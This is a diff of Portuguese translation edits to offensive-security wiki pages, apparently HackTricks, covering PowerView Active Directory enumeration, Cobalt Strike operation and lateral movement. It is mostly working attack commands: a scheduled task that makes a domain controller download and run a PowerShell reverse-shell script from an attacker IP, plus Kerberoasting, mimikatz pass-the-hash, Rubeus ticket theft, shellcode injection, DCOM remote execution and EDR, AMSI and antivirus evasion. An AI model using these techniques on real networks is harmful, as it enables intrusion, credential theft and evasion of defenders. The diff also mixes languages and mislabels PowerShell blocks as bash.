 Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
 ```
 ### Logon e Sessões
-```powershell
+```bash
 Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
 Get-NetSession -ComputerName <servername> #Get active sessions on the host
 Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the moment (need remote registry (default in server OS))
@@ -136,9 +136,9 @@ Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (n
 ```
 ### Group Policy Object - GPOs
 
-Se um atacante tiver **altos privilégios sobre um GPO**, ele poderá **privesc** abusando disso ao **adicionar permissões a um usuário**, **adicionar um usuário administrador local** a um host ou **criar uma tarefa agendada** (imediata) para realizar uma ação.\
+Se um atacante tiver **altos privilégios sobre um GPO**, ele poderá **elevar privilégios** abusando disso ao **adicionar permissões a um usuário**, **adicionar um usuário administrador local** a um host ou **criar uma tarefa agendada** (imediata) para realizar uma ação.\
 Para [**mais informações sobre isso e como abusar disso, siga este link**](../active-directory-methodology/acl-persistence-abuse/index.html#gpo-delegation).
-```powershell
+```bash
 #GPO
 Get-DomainGPO | select displayName #Check the names for info
 Get-NetGPO #Get all policies with details
@@ -178,7 +178,7 @@ Aprenda a **explorar permissões sobre GPOs e ACLs** em:
 {{#endref}}
 
 ### ACL
-```powershell
+```bash
 #Get ACLs of an object (permissions of other objects over the indicated one)
 Get-ObjectAcl -SamAccountName <username> -ResolveGUIDs
 
@@ -199,13 +199,13 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
 Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
 ```
 ### Arquivos e pastas compartilhados
-```powershell
+```bash
 Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
 Find-DomainShare -CheckShareAccess #Search readable shares
 Find-InterestingDomainShareFile #Find interesting files, can use filters
 ```
 ### Confiança de Domínio
-```powershell
+```bash
 Get-NetDomainTrust #Get all domain trusts (parent, children and external)
 Get-DomainTrust #Same
 Get-NetForestDomain | Get-NetDomainTrust #Enumerate all the trusts of all the domains found
@@ -221,8 +221,8 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
 Get-DomainForeingUser #Get users with privileges in other domains inside the forest
 Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
 ```
-### L**ow**-**hanging fruit**
-```powershell
+### Frutos de **baixo** **hanging**
+```bash
 #Check if any user passwords are set
 $FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
 
@@ -260,7 +260,7 @@ Invoke-UserHunter -GroupName "RDPUsers"
 Invoke-UserHunter -Stealth
 ```
 ### Objetos excluídos
-```powershell
+```bash
 #This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
 #You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
 Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
@@ -268,22 +268,22 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
 ### MISC
 
 #### SID para Nome
-```powershell
+```bash
 "S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
 ```
 #### Kerberoast
-```powershell
+```bash
 Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
 ```
 #### Use diferentes credenciais (argumento)
-```powershell
+```bash
 # use an alterate creadential for any function
 $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
 Get-DomainUser -Credential $Cred
 ```
 #### Impersonar um usuário
-```powershell
+```bash
 # if running in -sta mode, impersonate another credential a la "runas /netonly"
 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
@@ -292,7 +292,7 @@ Invoke-UserImpersonation -Credential $Cred
 Invoke-RevertToSelf
 ```
 #### Definir valores
-```powershell
+```bash
 # set the specified property for the given user identity
 Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
 # Set the owner of 'dfm' in the current domain to 'harmj0y'

src/windows-hardening/cobalt-strike.md

@@ -12,8 +12,8 @@ Os beacons desses listeners não precisam se comunicar diretamente com o C2, ele
 
 `Cobalt Strike -> Listeners -> Add/Edit` então você precisa selecionar os beacons TCP ou SMB
 
-* O **beacon TCP irá configurar um listener na porta selecionada**. Para conectar a um beacon TCP use o comando `connect <ip> <port>` de outro beacon
-* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para conectar a um beacon SMB você precisa usar o comando `link [target] [pipe]`.
+* O **beacon TCP irá configurar um listener na porta selecionada**. Para se conectar a um beacon TCP, use o comando `connect <ip> <port>` de outro beacon
+* O **beacon smb irá escutar em um pipename com o nome selecionado**. Para se conectar a um beacon SMB, você precisa usar o comando `link [target] [pipe]`.
 
 ### Generate & Host payloads
 
@@ -32,12 +32,13 @@ Os beacons desses listeners não precisam se comunicar diretamente com o C2, ele
 
 #### Host Payloads
 
-Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir para `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web.
+Se você já tem o arquivo que deseja hospedar em um servidor web, basta ir em `Attacks -> Web Drive-by -> Host File` e selecionar o arquivo para hospedar e a configuração do servidor web.
 
 ### Beacon Options
 
 <pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
 execute-assembly </path/to/executable.exe>
+# Note que para carregar assemblies maiores que 1MB, a propriedade 'tasks_max_size' do perfil maleável precisa ser modificada.
 
 # Screenshots
 printscreen    # Tire uma única captura de tela via método PrintScr
@@ -54,9 +55,14 @@ portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inje
 portscan [targets] [ports] [arp|icmp|none] [max connections]
 
 # Powershell
-# Importar módulo Powershell
+## Importar módulo Powershell
 powershell-import C:\path\to\PowerView.ps1
-powershell <apenas escreva o cmd do powershell aqui>
+powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
+powershell <apenas escreva o cmd powershell aqui> # Isso usa a versão mais alta do powershell suportada (não oppsec)
+powerpick <cmdlet> <args> # Isso cria um processo sacrificial especificado por spawnto, e injeta UnmanagedPowerShell nele para melhor opsec (sem registro)
+powerpick Invoke-PrivescAudit | fl
+psinject <pid> <arch> <commandlet> <arguments> # Isso injeta UnmanagedPowerShell no processo especificado para executar o cmdlet PowerShell.
+
 
 # User impersonation
 ## Geração de token com credenciais
@@ -79,9 +85,9 @@ rev2self # Pare de usar o token de steal_token
 
 ## Lançar processo com novas credenciais
 spawnas [domain\username] [password] [listener] #Faça isso a partir de um diretório com acesso de leitura como: cd C:\
-## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).
+## Como make_token, isso gerará o evento Windows 4624: Uma conta foi logada com sucesso, mas com um tipo de logon de 2 (LOGON32_LOGON_INTERACTIVE). Ele detalhará o usuário chamador (TargetUserName) e o usuário impersonado (TargetOutboundUserName).
 
-## Injete em processo
+## Injete no processo
 inject [pid] [x64|x86] [listener]
 ## Do ponto de vista de OpSec: Não realize injeção entre plataformas a menos que realmente precise (por exemplo, x86 -> x64 ou x64 -> x86).
 
@@ -93,21 +99,22 @@ pth [DOMAIN\user] [NTLM hash]
 ## Pass the hash através do mimikatz
 mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
 ## Sem /run, o mimikatz gera um cmd.exe, se você estiver executando como um usuário com Desktop, ele verá o shell (se você estiver executando como SYSTEM, você está livre para prosseguir)
-steal_token <pid> #Roubar token de processo criado pelo mimikatz
+steal_token <pid> #Roubar token do processo criado pelo mimikatz
 
 ## Pass the ticket
 ## Solicitar um ticket
+execute-assembly /root/Tools/SharpCollection/Seatbelt.exe -group=system
 execute-assembly C:\path\Rubeus.exe asktgt /user:<username> /domain:<domain> /aes256:<aes_keys> /nowrap /opsec
 ## Crie uma nova sessão de logon para usar com o novo ticket (para não sobrescrever o comprometido)
 make_token <domain>\<username> DummyPass
-## Escreva o ticket na máquina do atacante a partir de uma sessão do poweshell & carregue-o
+## Escreva o ticket na máquina do atacante a partir de uma sessão poweshell & carregue-o
 [System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
 kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi
 
 ## Pass the ticket do SYSTEM
 ## Gere um novo processo com o ticket
 execute-assembly C:\path\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
-## Roube o token daquele processo
+## Roube o token desse processo
 steal_token <pid>
 
 ## Extrair ticket + Pass the ticket
@@ -119,7 +126,7 @@ execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
 execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
 ### Insira o ticket na sessão de logon gerada
 execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
-### Finalmente, roube o token daquele novo processo
+### Finalmente, roube o token desse novo processo
 steal_token <pid>
 
 # Lateral Movement
@@ -128,14 +135,16 @@ jump [method] [target] [listener]
 ## Métodos:
 ## psexec                    x86   Use um serviço para executar um artefato Service EXE
 ## psexec64                  x64   Use um serviço para executar um artefato Service EXE
-## psexec_psh                x86   Use um serviço para executar uma linha única do PowerShell
-## winrm                     x86   Execute um script do PowerShell via WinRM
-## winrm64                   x64   Execute um script do PowerShell via WinRM
+## psexec_psh                x86   Use um serviço para executar um one-liner PowerShell
+## winrm                     x86   Execute um script PowerShell via WinRM
+## winrm64                   x64   Execute um script PowerShell via WinRM
+## wmi_msbuild               x64   movimento lateral wmi com tarefa inline c# msbuild (oppsec)
 
-remote-exec [method] [target] [command]
+
+remote-exec [method] [target] [command] # remote-exec não retorna saída
 ## Métodos:
-<strong>## psexec                          Execução remota via Service Control Manager
-</strong>## winrm                           Execução remota via WinRM (PowerShell)
+## psexec                          Execução remota via Service Control Manager
+## winrm                           Execução remota via WinRM (PowerShell)
 ## wmi                             Execução remota via WMI
 
 ## Para executar um beacon com wmi (não está no comando jump) basta fazer upload do beacon e executá-lo
@@ -162,7 +171,7 @@ msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw
 
 ## Copie o arquivo bin para o host do cobalt strike
 ps
-shinject <pid> x64 C:\Payloads\msf.bin #Injete o shellcode do metasploit em um processo x64
+shinject <pid> x64 C:\Payloads\msf.bin #Injete shellcode do metasploit em um processo x64
 
 # Pass metasploit session to cobalt strike
 ## Gere shellcode Beacon stageless, vá para Attacks > Packages > Windows Executable (S), selecione o listener desejado, selecione Raw como o tipo de saída e selecione Use x64 payload.
@@ -176,50 +185,178 @@ beacon> socks 1080
 # SSH connection
 beacon> ssh 10.10.17.12:22 username password</code></pre>
 
-## Avoiding AVs
+## Opsec
 
-### Artifact Kit
+### Execute-Assembly
 
-Geralmente em `/opt/cobaltstrike/artifact-kit` você pode encontrar o código e templates pré-compilados (em `/src-common`) dos payloads que o cobalt strike irá usar para gerar os beacons binários.
+O **`execute-assembly`** usa um **processo sacrificial** utilizando injeção de processo remoto para executar o programa indicado. Isso é muito barulhento, pois para injetar dentro de um processo, certas APIs do Win são usadas que todos os EDR estão verificando. No entanto, existem algumas ferramentas personalizadas que podem ser usadas para carregar algo no mesmo processo:
 
-Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com o backdoor gerado (ou apenas com o template compilado) você pode descobrir o que está fazendo o defender disparar. Geralmente é uma string. Portanto, você pode apenas modificar o código que está gerando o backdoor para que essa string não apareça no binário final.
+- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
+- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
+- No Cobalt Strike, você também pode usar BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
+- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
+
+O script agressor `https://github.com/outflanknl/HelpColor` criará o comando `helpx` no Cobalt Strike, que colocará cores nos comandos indicando se são BOFs (verde), se são Frok&Run (amarelo) e similares, ou se são ProcessExecution, injeção ou similares (vermelho). O que ajuda a saber quais comandos são mais furtivos.
+
+### Act as the user
+
+Você pode verificar eventos como `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
+
+- Security EID 4624 - Verifique todos os logons interativos para saber os horários de operação habituais.
+- System EID 12,13 - Verifique a frequência de desligamento/início/suspensão.
+- Security EID 4624/4625 - Verifique tentativas NTLM válidas/inválidas de entrada.
+- Security EID 4648 - Este evento é criado quando credenciais em texto simples são usadas para logon. Se um processo o gerou, o binário potencialmente tem as credenciais em texto claro em um arquivo de configuração ou dentro do código.
+
+Ao usar `jump` do cobalt strike, é melhor usar o método `wmi_msbuild` para fazer o novo processo parecer mais legítimo.
+
+### Use computer accounts
+
+É comum que os defensores estejam verificando comportamentos estranhos gerados por usuários e **excluam contas de serviço e contas de computador como `*$` de sua monitoração**. Você pode usar essas contas para realizar movimento lateral ou escalonamento de privilégios.
+
+### Use stageless payloads
+
+Payloads stageless são menos barulhentos do que os staged porque não precisam baixar um segundo estágio do servidor C2. Isso significa que eles não geram tráfego de rede após a conexão inicial, tornando-os menos propensos a serem detectados por defesas baseadas em rede.
+
+### Tokens & Token Store
+
+Tenha cuidado ao roubar ou gerar tokens, pois pode ser possível para um EDR enumerar todos os tokens de todas as threads e encontrar um **token pertencente a um usuário diferente** ou até mesmo SYSTEM no processo.
+
+Isso permite armazenar tokens **por beacon** para que não seja necessário roubar o mesmo token repetidamente. Isso é útil para movimento lateral ou quando você precisa usar um token roubado várias vezes:
+
+- token-store steal <pid>
+- token-store steal-and-use <pid>
+- token-store show
+- token-store use <id>
+- token-store remove <id>
+- token-store remove-all
+
+Ao se mover lateralmente, geralmente é melhor **roubar um token do que gerar um novo** ou realizar um ataque pass the hash.
+
+### Guardrails
+
+O Cobalt Strike tem um recurso chamado **Guardrails** que ajuda a prevenir o uso de certos comandos ou ações que poderiam ser detectados pelos defensores. Os Guardrails podem ser configurados para bloquear comandos específicos, como `make_token`, `jump`, `remote-exec`, e outros que são comumente usados para movimento lateral ou escalonamento de privilégios.
+
+Além disso, o repositório [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) também contém algumas verificações e ideias que você pode considerar antes de executar um payload.
+
+### Tickets encryption
+
+Em um AD, tenha cuidado com a criptografia dos tickets. Por padrão, algumas ferramentas usarão criptografia RC4 para tickets Kerberos, que é menos segura do que a criptografia AES e, por padrão, ambientes atualizados usarão AES. Isso pode ser detectado por defensores que estão monitorando algoritmos de criptografia fracos.
+
+### Avoid Defaults
+
+Ao usar Cobalt Strike, por padrão, os pipes SMB terão o nome `msagent_####` e `"status_####`. Mude esses nomes. É possível verificar os nomes dos pipes existentes do Cobalt Strike com o comando: `ls \\.\pipe\`
+
+Além disso, com sessões SSH, um pipe chamado `\\.\pipe\postex_ssh_####` é criado. Mude-o com `set ssh_pipename "<new_name>";`.
+
+Além disso, no ataque de exploração pós-exploração, os pipes `\\.\pipe\postex_####` podem ser modificados com `set pipename "<new_name>"`.
+
+Nos perfis do Cobalt Strike, você também pode modificar coisas como:
+
+- Evitar usar `rwx`
+- Como o comportamento de injeção de processo funciona (quais APIs serão usadas) no bloco `process-inject {...}`
+- Como o "fork and run" funciona no bloco `post-ex {…}`
+- O tempo de espera
+- O tamanho máximo de binários a serem carregados na memória
+- A pegada de memória e o conteúdo DLL com o bloco `stage {...}`
+- O tráfego de rede
+
+### Bypass memory scanning
+
+Alguns EDRs escaneiam a memória em busca de algumas assinaturas de malware conhecidas. O Cobalt Strike permite modificar a função `sleep_mask` como um BOF que será capaz de criptografar na memória o backdoor.
+
+### Noisy proc injections
+
+Ao injetar código em um processo, isso geralmente é muito barulhento, pois **nenhum processo regular geralmente realiza essa ação e porque as maneiras de fazer isso são muito limitadas**. Portanto, pode ser detectado por sistemas de detecção baseados em comportamento. Além disso, também pode ser detectado por EDRs que escaneiam a rede em busca de **threads contendo código que não está no disco** (embora processos como navegadores usando JIT tenham isso comumente). Exemplo: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
+
+### Spawnas | PID and PPID relationships
+
+Ao gerar um novo processo, é importante **manter uma relação pai-filho regular** entre os processos para evitar detecção. Se svchost.exec estiver executando iexplorer.exe, parecerá suspeito, pois svchost.exe não é um pai de iexplorer.exe em um ambiente Windows normal.
+
+Quando um novo beacon é gerado no Cobalt Strike, por padrão, um processo usando **`rundll32.exe`** é criado para executar o novo listener. Isso não é muito furtivo e pode ser facilmente detectado por EDRs. Além disso, `rundll32.exe` é executado sem argumentos, tornando-o ainda mais suspeito.
+
+Com o seguinte comando do Cobalt Strike, você pode especificar um processo diferente para gerar o novo beacon, tornando-o menos detectável:
+```bash
+spawnto x86 svchost.exe
+```
+Você também pode alterar esta configuração **`spawnto_x86` e `spawnto_x64`** em um perfil.
+
+### Proxying attackers traffic
+
+Os atacantes às vezes precisarão ser capazes de executar ferramentas localmente, mesmo em máquinas Linux, e fazer com que o tráfego das vítimas chegue à ferramenta (por exemplo, NTLM relay).
+
+Além disso, às vezes, para realizar um ataque pass-the-hash ou pass-the-ticket, é mais discreto para o atacante **adicionar esse hash ou ticket em seu próprio processo LSASS** localmente e, em seguida, pivotar a partir dele em vez de modificar um processo LSASS de uma máquina vítima.
+
+No entanto, você precisa ter **cuidado com o tráfego gerado**, pois pode estar enviando tráfego incomum (kerberos?) do seu processo de backdoor. Para isso, você poderia pivotar para um processo de navegador (embora você possa ser pego se injetar em um processo, então pense em uma maneira discreta de fazer isso).
+```bash
+
+### Avoiding AVs
+
+#### AV/AMSI/ETW Bypass
+
+Check the page:
+
+{{#ref}}
+av-bypass.md
+{{#endref}}
+
+
+#### Artifact Kit
+
+Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
+
+Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
+
+After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
 
-Após modificar o código, basta executar `./build.sh` a partir do mesmo diretório e copiar a pasta `dist-pipe/` para o cliente Windows em `C:\Tools\cobaltstrike\ArtifactKit`.
 ```
 pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
 ```
-Não se esqueça de carregar o script agressivo `dist-pipe\artifact.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que estão carregados.
 
-### Kit de Recursos
+Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
 
-A pasta ResourceKit contém os modelos para os payloads baseados em script do Cobalt Strike, incluindo PowerShell, VBA e HTA.
+#### Resource Kit
+
+The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
+
+Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
 
-Usando [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) com os modelos, você pode descobrir o que o defensor (AMSI neste caso) não gosta e modificá-lo:
 ```
 .\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
 ```
-Modificando as linhas detectadas, pode-se gerar um template que não será pego.
 
-Não se esqueça de carregar o script agressivo `ResourceKit\resources.cna` para indicar ao Cobalt Strike que use os recursos do disco que queremos e não os que foram carregados.
+Modifying the detected lines one can generate a template that won't be caught.
+
+Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
+
+#### Function hooks | Syscall
+
+Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
+
+This can be set in the profile or suing the command **`syscall-method`**
+
+However, this could also be noisy.
+
+Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
+
+You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
+
+
+
+
 ```bash
-cd C:\Tools\neo4j\bin
-neo4j.bat console
-http://localhost:7474/ --> Change password
-execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
+cd C:\Tools\neo4j\bin  
+neo4j.bat console  
+http://localhost:7474/ --> Mudar senha  
+execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL  
 
+# Mudar powershell  
+C:\Tools\cobaltstrike\ResourceKit  
+template.x64.ps1  
+# Mudar $var_code -> $polop  
+# $x --> $ar  
+cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna  
 
-
-# Change powershell
-C:\Tools\cobaltstrike\ResourceKit
-template.x64.ps1
-# Change $var_code -> $polop
-# $x --> $ar
-cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
-
-#artifact kit
-cd  C:\Tools\cobaltstrike\ArtifactKit
+#kit de artefato  
+cd  C:\Tools\cobaltstrike\ArtifactKit  
 pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
-
-
 ```
-

src/windows-hardening/lateral-movement/README.md

@@ -10,6 +10,8 @@ Existem diferentes maneiras de executar comandos em sistemas externos, aqui voc
 - [**AtExec / SchtasksExec**](atexec.md)
 - [**WinRM**](winrm.md)
 - [**DCOM Exec**](dcom-exec.md)
+- [**RDPexec**](rdpexec.md)
+- [**SCMexec**](scmexec.md)
 - [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
 - [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
 - [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)

src/windows-hardening/lateral-movement/atexec.md

@@ -18,10 +18,18 @@ schtasks /run /tn <TASK_NAME> /S <VICTIM>
 schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
 schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
 ```
+Você pode usar **Impacket's `atexec.py`** para executar comandos em sistemas remotos usando o comando AT. Isso requer credenciais válidas (nome de usuário e senha ou hash) para o sistema alvo.
+```bash
+atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
+```
 Você também pode usar [SharpLateral](https://github.com/mertdas/SharpLateral):
 ```bash
 SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
 ```
+Você pode usar [SharpMove](https://github.com/0xthirteen/SharpMove):
+```bash
+SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
+```
 Mais informações sobre o [**uso de schtasks com silver tickets aqui**](../active-directory-methodology/silver-ticket.md#host).
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/lateral-movement/dcomexec.md

@@ -10,21 +10,21 @@ Objetos do Modelo de Objeto Componente Distribuído (DCOM) apresentam uma capaci
 ```bash
 Get-CimInstance Win32_DCOMApplication
 ```
-O objeto COM, [Classe de Aplicação MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite a automação das operações de snap-in do MMC. Notavelmente, este objeto contém um método `ExecuteShellCommand` sob `Document.ActiveView`. Mais informações sobre este método podem ser encontradas [aqui](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Verifique sua execução:
+O objeto COM, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permite a automação de operações de snap-in do MMC. Notavelmente, este objeto contém um método `ExecuteShellCommand` sob `Document.ActiveView`. Mais informações sobre este método podem ser encontradas [aqui](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Verifique sua execução:
 
 Esse recurso facilita a execução de comandos através de uma rede por meio de uma aplicação DCOM. Para interagir com o DCOM remotamente como um administrador, o PowerShell pode ser utilizado da seguinte forma:
-```powershell
+```bash
 [activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
 ```
 Este comando conecta-se ao aplicativo DCOM e retorna uma instância do objeto COM. O método ExecuteShellCommand pode então ser invocado para executar um processo no host remoto. O processo envolve os seguintes passos:
 
 Verificar métodos:
-```powershell
+```bash
 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
 $com.Document.ActiveView | Get-Member
 ```
 Obter RCE:
-```powershell
+```bash
 $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
 $com | Get-Member
 
@@ -36,7 +36,7 @@ ls \\10.10.10.10\c$\Users
 
 **Para mais informações sobre esta técnica, consulte o post original [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
 
-O objeto **MMC20.Application** foi identificado como faltando "LaunchPermissions" explícitos, defaultando para permissões que permitem acesso a Administradores. Para mais detalhes, um tópico pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e o uso do OleView .NET de [@tiraniddo](https://twitter.com/tiraniddo) para filtrar objetos sem Permissão de Lançamento explícita é recomendado.
+O objeto **MMC20.Application** foi identificado como faltando "LaunchPermissions" explícitos, defaultando para permissões que permitem acesso a Administradores. Para mais detalhes, um thread pode ser explorado [aqui](https://twitter.com/tiraniddo/status/817532039771525120), e o uso do OleView .NET de [@tiraniddo](https://twitter.com/tiraniddo) para filtrar objetos sem Permissão de Lançamento explícita é recomendado.
 
 Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacados devido à falta de Permissões de Lançamento explícitas. A ausência de uma entrada de registro `LaunchPermission` sob `HKCR:\AppID\{guid}` significa que não há permissões explícitas.
 
@@ -45,18 +45,23 @@ Dois objetos específicos, `ShellBrowserWindow` e `ShellWindows`, foram destacad
 Para `ShellWindows`, que não possui um ProgID, os métodos .NET `Type.GetTypeFromCLSID` e `Activator.CreateInstance` facilitam a instanciação do objeto usando seu AppID. Este processo utiliza OleView .NET para recuperar o CLSID para `ShellWindows`. Uma vez instanciado, a interação é possível através do método `WindowsShell.Item`, levando à invocação de métodos como `Document.Application.ShellExecute`.
 
 Exemplos de comandos PowerShell foram fornecidos para instanciar o objeto e executar comandos remotamente:
-```powershell
+```bash
+# Example
 $com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
 $obj = [System.Activator]::CreateInstance($com)
 $item = $obj.Item()
 $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
+
+# Need to upload the file to execute
+$COM = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.APPLICATION", "192.168.52.100"))
+$COM.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $Null, $Null, "7")
 ```
 ### Movimento Lateral com Objetos DCOM do Excel
 
 O movimento lateral pode ser alcançado explorando objetos DCOM do Excel. Para informações detalhadas, é aconselhável ler a discussão sobre como aproveitar o DDE do Excel para movimento lateral via DCOM no [blog da Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
 
 O projeto Empire fornece um script PowerShell, que demonstra a utilização do Excel para execução remota de código (RCE) manipulando objetos DCOM. Abaixo estão trechos do script disponível no [repositório do GitHub do Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), mostrando diferentes métodos para abusar do Excel para RCE:
-```powershell
+```bash
 # Detection of Office version
 elseif ($Method -Match "DetectOffice") {
